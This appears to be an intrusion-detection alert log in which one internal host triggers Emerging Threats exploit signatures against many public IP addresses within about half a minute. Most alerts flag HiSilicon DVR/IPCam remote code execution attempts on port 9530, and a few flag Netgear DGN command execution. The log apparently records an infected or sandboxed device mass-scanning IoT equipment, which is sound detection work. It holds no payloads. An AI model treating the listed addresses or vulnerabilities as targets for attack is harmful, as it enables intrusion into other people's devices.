05/16/24-16:38:59.559303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60782	9530	192.168.2.23	178.183.74.104
05/16/24-16:38:53.084745	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43870	9530	192.168.2.23	137.3.172.181
05/16/24-16:38:53.084745	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43870	9530	192.168.2.23	137.3.172.181
05/16/24-16:39:12.378474	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56048	9530	192.168.2.23	84.71.16.42
05/16/24-16:39:12.378474	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56048	9530	192.168.2.23	84.71.16.42
05/16/24-16:39:09.587543	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	47444	80	192.168.2.23	25.93.72.242
05/16/24-16:38:57.435654	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39932	9530	192.168.2.23	134.165.95.115
05/16/24-16:38:57.435654	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39932	9530	192.168.2.23	134.165.95.115
05/16/24-16:38:50.046279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51350	9530	192.168.2.23	156.131.229.174
05/16/24-16:39:02.764200	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47518	9530	192.168.2.23	166.144.150.97
05/16/24-16:39:02.764200	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47518	9530	192.168.2.23	166.144.150.97
05/16/24-16:39:08.126426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41580	9530	192.168.2.23	192.138.25.50
05/16/24-16:39:08.126426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41580	9530	192.168.2.23	192.138.25.50
05/16/24-16:39:16.603128	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54834	9530	192.168.2.23	81.226.167.210
05/16/24-16:39:16.603128	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54834	9530	192.168.2.23	81.226.167.210
05/16/24-16:38:50.046279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51350	9530	192.168.2.23	156.131.229.174
05/16/24-16:39:16.599369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34708	9530	192.168.2.23	58.94.210.12
05/16/24-16:38:57.436357	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35852	9530	192.168.2.23	52.138.203.195
05/16/24-16:38:57.436357	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35852	9530	192.168.2.23	52.138.203.195
05/16/24-16:39:05.702486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50434	9530	192.168.2.23	44.188.92.237
05/16/24-16:39:16.599369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34708	9530	192.168.2.23	58.94.210.12
05/16/24-16:39:05.702486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50434	9530	192.168.2.23	44.188.92.237
05/16/24-16:38:59.557105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60408	9530	192.168.2.23	75.252.141.0
05/16/24-16:38:59.557105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60408	9530	192.168.2.23	75.252.141.0
05/16/24-16:39:05.709481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54580	9530	192.168.2.23	67.46.135.92
05/16/24-16:39:12.383589	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35364	9530	192.168.2.23	211.30.78.68
05/16/24-16:39:05.709481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54580	9530	192.168.2.23	67.46.135.92
05/16/24-16:39:12.383589	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35364	9530	192.168.2.23	211.30.78.68
05/16/24-16:38:53.094063	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39032	9530	192.168.2.23	175.18.100.187
05/16/24-16:38:53.094063	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39032	9530	192.168.2.23	175.18.100.187
05/16/24-16:39:12.377477	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45758	9530	192.168.2.23	2.132.140.128
05/16/24-16:39:12.377477	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45758	9530	192.168.2.23	2.132.140.128
05/16/24-16:38:50.048861	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53134	9530	192.168.2.23	37.255.236.205
05/16/24-16:38:53.071312	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42888	9530	192.168.2.23	121.158.59.12
05/16/24-16:38:55.193096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40642	9530	192.168.2.23	192.146.140.145
05/16/24-16:38:53.071312	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42888	9530	192.168.2.23	121.158.59.12
05/16/24-16:38:55.193096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40642	9530	192.168.2.23	192.146.140.145
05/16/24-16:38:59.589135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53586	9530	192.168.2.23	46.161.201.197
05/16/24-16:38:59.589135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53586	9530	192.168.2.23	46.161.201.197
05/16/24-16:38:55.175105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47582	9530	192.168.2.23	170.58.189.222
05/16/24-16:39:12.378439	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59410	9530	192.168.2.23	63.152.245.170
05/16/24-16:38:55.175105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47582	9530	192.168.2.23	170.58.189.222
05/16/24-16:39:12.378439	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59410	9530	192.168.2.23	63.152.245.170
05/16/24-16:39:14.523118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47302	9530	192.168.2.23	178.159.109.78
05/16/24-16:39:14.523118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47302	9530	192.168.2.23	178.159.109.78
05/16/24-16:38:59.588220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41506	9530	192.168.2.23	211.166.102.233
05/16/24-16:39:12.402900	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48398	9530	192.168.2.23	85.235.79.155
05/16/24-16:39:12.402900	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48398	9530	192.168.2.23	85.235.79.155
05/16/24-16:38:59.588220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41506	9530	192.168.2.23	211.166.102.233
05/16/24-16:38:50.048861	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53134	9530	192.168.2.23	37.255.236.205
05/16/24-16:38:50.078889	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48726	9530	192.168.2.23	123.0.189.219
05/16/24-16:38:50.078889	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48726	9530	192.168.2.23	123.0.189.219
05/16/24-16:38:57.451868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39978	9530	192.168.2.23	191.215.3.135
05/16/24-16:39:05.714856	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38404	9530	192.168.2.23	24.143.3.35
05/16/24-16:38:57.451868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39978	9530	192.168.2.23	191.215.3.135
05/16/24-16:38:53.071126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43994	9530	192.168.2.23	175.109.179.90
05/16/24-16:39:05.714856	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38404	9530	192.168.2.23	24.143.3.35
05/16/24-16:38:50.004286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54790	9530	192.168.2.23	36.131.240.112
05/16/24-16:38:50.004286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54790	9530	192.168.2.23	36.131.240.112
05/16/24-16:38:53.071126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43994	9530	192.168.2.23	175.109.179.90
05/16/24-16:39:14.492354	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39936	9530	192.168.2.23	40.47.196.133
05/16/24-16:39:14.492354	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39936	9530	192.168.2.23	40.47.196.133
05/16/24-16:39:02.765349	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55500	9530	192.168.2.23	118.119.69.216
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52298	9530	192.168.2.23	166.97.227.194
05/16/24-16:39:02.765349	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55500	9530	192.168.2.23	118.119.69.216
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52298	9530	192.168.2.23	166.97.227.194
05/16/24-16:39:16.608320	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40858	9530	192.168.2.23	182.40.172.242
05/16/24-16:39:12.301151	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50406	9530	192.168.2.23	221.183.175.185
05/16/24-16:39:16.608320	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40858	9530	192.168.2.23	182.40.172.242
05/16/24-16:39:12.301151	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50406	9530	192.168.2.23	221.183.175.185
05/16/24-16:39:16.580393	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40858	9530	192.168.2.23	14.176.27.11
05/16/24-16:39:09.592094	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	52664	80	192.168.2.23	13.76.248.35
05/16/24-16:39:16.580393	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40858	9530	192.168.2.23	14.176.27.11
05/16/24-16:39:02.725595	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48672	9530	192.168.2.23	71.205.112.208
05/16/24-16:39:02.725595	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48672	9530	192.168.2.23	71.205.112.208
05/16/24-16:38:50.064129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56834	9530	192.168.2.23	93.38.166.122
05/16/24-16:38:50.064129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56834	9530	192.168.2.23	93.38.166.122
05/16/24-16:38:50.004125	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42948	9530	192.168.2.23	129.154.204.88
05/16/24-16:39:02.726911	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35534	9530	192.168.2.23	66.152.149.183
05/16/24-16:38:50.004125	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42948	9530	192.168.2.23	129.154.204.88
05/16/24-16:39:08.127909	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60242	9530	192.168.2.23	160.158.141.123
05/16/24-16:39:02.726911	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35534	9530	192.168.2.23	66.152.149.183
05/16/24-16:39:08.127909	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60242	9530	192.168.2.23	160.158.141.123
05/16/24-16:39:08.124587	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59518	9530	192.168.2.23	81.79.248.104
05/16/24-16:39:08.124587	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59518	9530	192.168.2.23	81.79.248.104
05/16/24-16:39:16.605678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37082	9530	192.168.2.23	118.251.66.42
05/16/24-16:39:08.136409	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33190	9530	192.168.2.23	103.182.238.99
05/16/24-16:39:16.605678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37082	9530	192.168.2.23	118.251.66.42
05/16/24-16:39:03.281220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52282	9530	192.168.2.23	201.253.125.114
05/16/24-16:38:55.208969	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37852	9530	192.168.2.23	62.15.184.161
05/16/24-16:38:55.208969	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37852	9530	192.168.2.23	62.15.184.161
05/16/24-16:39:01.474345	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	52788	80	192.168.2.23	120.60.53.184
05/16/24-16:39:03.281220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52282	9530	192.168.2.23	201.253.125.114
05/16/24-16:39:08.136409	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33190	9530	192.168.2.23	103.182.238.99
05/16/24-16:38:57.304713	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60990	9530	192.168.2.23	54.223.120.229
05/16/24-16:39:12.400937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36814	9530	192.168.2.23	59.57.53.153
05/16/24-16:39:12.400937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36814	9530	192.168.2.23	59.57.53.153
05/16/24-16:38:57.304713	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60990	9530	192.168.2.23	54.223.120.229
05/16/24-16:39:14.507635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44922	9530	192.168.2.23	137.47.154.96
05/16/24-16:39:14.507635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44922	9530	192.168.2.23	137.47.154.96
05/16/24-16:38:57.408707	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47692	9530	192.168.2.23	143.42.73.227
05/16/24-16:38:57.408707	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47692	9530	192.168.2.23	143.42.73.227
05/16/24-16:38:57.446013	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36512	9530	192.168.2.23	190.219.94.173
05/16/24-16:39:12.406678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60030	9530	192.168.2.23	204.134.250.228
05/16/24-16:38:57.446013	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36512	9530	192.168.2.23	190.219.94.173
05/16/24-16:39:12.402955	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49358	9530	192.168.2.23	96.29.78.180
05/16/24-16:39:12.402955	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49358	9530	192.168.2.23	96.29.78.180
05/16/24-16:39:12.406678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60030	9530	192.168.2.23	204.134.250.228
05/16/24-16:38:53.065486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49938	9530	192.168.2.23	161.179.190.186
05/16/24-16:38:53.065486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49938	9530	192.168.2.23	161.179.190.186
05/16/24-16:39:02.767747	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55574	9530	192.168.2.23	134.51.118.106
05/16/24-16:39:02.767747	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55574	9530	192.168.2.23	134.51.118.106
05/16/24-16:39:16.604433	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43640	9530	192.168.2.23	62.20.218.251
05/16/24-16:39:16.604433	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43640	9530	192.168.2.23	62.20.218.251
05/16/24-16:38:53.410682	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	36694	80	192.168.2.23	203.60.113.51
05/16/24-16:39:13.656745	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	49390	80	192.168.2.23	72.121.120.109
05/16/24-16:39:14.510067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48010	9530	192.168.2.23	96.20.72.205
05/16/24-16:39:05.679569	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37852	9530	192.168.2.23	175.138.108.1
05/16/24-16:39:14.510067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48010	9530	192.168.2.23	96.20.72.205
05/16/24-16:38:53.011473	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48000	9530	192.168.2.23	54.155.20.9
05/16/24-16:38:53.011473	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48000	9530	192.168.2.23	54.155.20.9
05/16/24-16:39:05.679569	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37852	9530	192.168.2.23	175.138.108.1
05/16/24-16:39:12.380628	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44114	9530	192.168.2.23	200.145.155.181
05/16/24-16:39:12.380628	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44114	9530	192.168.2.23	200.145.155.181
05/16/24-16:39:14.521663	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35876	9530	192.168.2.23	125.24.153.88
05/16/24-16:39:16.604467	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54406	9530	192.168.2.23	134.71.76.33
05/16/24-16:39:12.382098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42328	9530	192.168.2.23	146.26.70.152
05/16/24-16:39:12.382098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42328	9530	192.168.2.23	146.26.70.152
05/16/24-16:39:16.604467	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54406	9530	192.168.2.23	134.71.76.33
05/16/24-16:38:53.100327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60196	9530	192.168.2.23	163.191.121.162
05/16/24-16:39:05.676385	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60226	9530	192.168.2.23	67.40.85.251
05/16/24-16:38:53.100327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60196	9530	192.168.2.23	163.191.121.162
05/16/24-16:39:05.676385	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60226	9530	192.168.2.23	67.40.85.251
05/16/24-16:39:08.146558	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55130	9530	192.168.2.23	149.213.110.66
05/16/24-16:39:12.298248	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46340	9530	192.168.2.23	44.144.116.196
05/16/24-16:39:08.146558	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55130	9530	192.168.2.23	149.213.110.66
05/16/24-16:39:12.298248	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46340	9530	192.168.2.23	44.144.116.196
05/16/24-16:39:05.693235	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39680	9530	192.168.2.23	78.219.146.48
05/16/24-16:39:08.041098	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57440	9530	192.168.2.23	82.235.211.42
05/16/24-16:39:08.041098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57440	9530	192.168.2.23	82.235.211.42
05/16/24-16:38:57.429994	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46378	9530	192.168.2.23	12.151.132.250
05/16/24-16:39:16.581468	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43758	9530	192.168.2.23	126.189.162.110
05/16/24-16:38:57.429994	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46378	9530	192.168.2.23	12.151.132.250
05/16/24-16:39:16.581468	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43758	9530	192.168.2.23	126.189.162.110
05/16/24-16:39:05.693235	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39680	9530	192.168.2.23	78.219.146.48
05/16/24-16:38:55.196402	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59366	9530	192.168.2.23	222.188.72.92
05/16/24-16:39:14.532191	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52148	9530	192.168.2.23	131.255.97.35
05/16/24-16:39:14.532191	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52148	9530	192.168.2.23	131.255.97.35
05/16/24-16:38:55.196402	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59366	9530	192.168.2.23	222.188.72.92
05/16/24-16:39:12.295409	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46416	9530	192.168.2.23	145.230.65.170
05/16/24-16:39:12.295409	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46416	9530	192.168.2.23	145.230.65.170
05/16/24-16:39:14.525670	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57470	9530	192.168.2.23	87.45.45.248
05/16/24-16:39:01.480548	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	37344	80	192.168.2.23	89.83.16.175
05/16/24-16:39:14.525670	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57470	9530	192.168.2.23	87.45.45.248
05/16/24-16:38:57.443756	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46790	9530	192.168.2.23	147.225.119.1
05/16/24-16:38:57.443756	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46790	9530	192.168.2.23	147.225.119.1
05/16/24-16:38:57.435635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38652	9530	192.168.2.23	8.137.2.156
05/16/24-16:38:57.435635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38652	9530	192.168.2.23	8.137.2.156
05/16/24-16:39:12.304040	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47424	9530	192.168.2.23	24.216.226.145
05/16/24-16:39:02.762990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50320	9530	192.168.2.23	25.47.52.11
05/16/24-16:39:02.762990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50320	9530	192.168.2.23	25.47.52.11
05/16/24-16:39:12.304040	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47424	9530	192.168.2.23	24.216.226.145
05/16/24-16:39:12.298141	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53664	9530	192.168.2.23	92.116.13.249
05/16/24-16:39:12.298141	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53664	9530	192.168.2.23	92.116.13.249
05/16/24-16:38:50.047560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51000	9530	192.168.2.23	188.173.92.190
05/16/24-16:38:50.047560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51000	9530	192.168.2.23	188.173.92.190
05/16/24-16:38:50.069075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48914	9530	192.168.2.23	51.241.129.64
05/16/24-16:38:50.069075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48914	9530	192.168.2.23	51.241.129.64
05/16/24-16:38:53.410286	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	57020	80	192.168.2.23	24.160.198.68
05/16/24-16:38:53.086062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55712	9530	192.168.2.23	85.115.193.62
05/16/24-16:38:53.086062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55712	9530	192.168.2.23	85.115.193.62
05/16/24-16:39:05.717044	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58552	9530	192.168.2.23	201.51.122.36
05/16/24-16:39:12.295397	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45730	9530	192.168.2.23	138.87.170.136
05/16/24-16:39:05.717044	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58552	9530	192.168.2.23	201.51.122.36
05/16/24-16:39:12.295397	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45730	9530	192.168.2.23	138.87.170.136
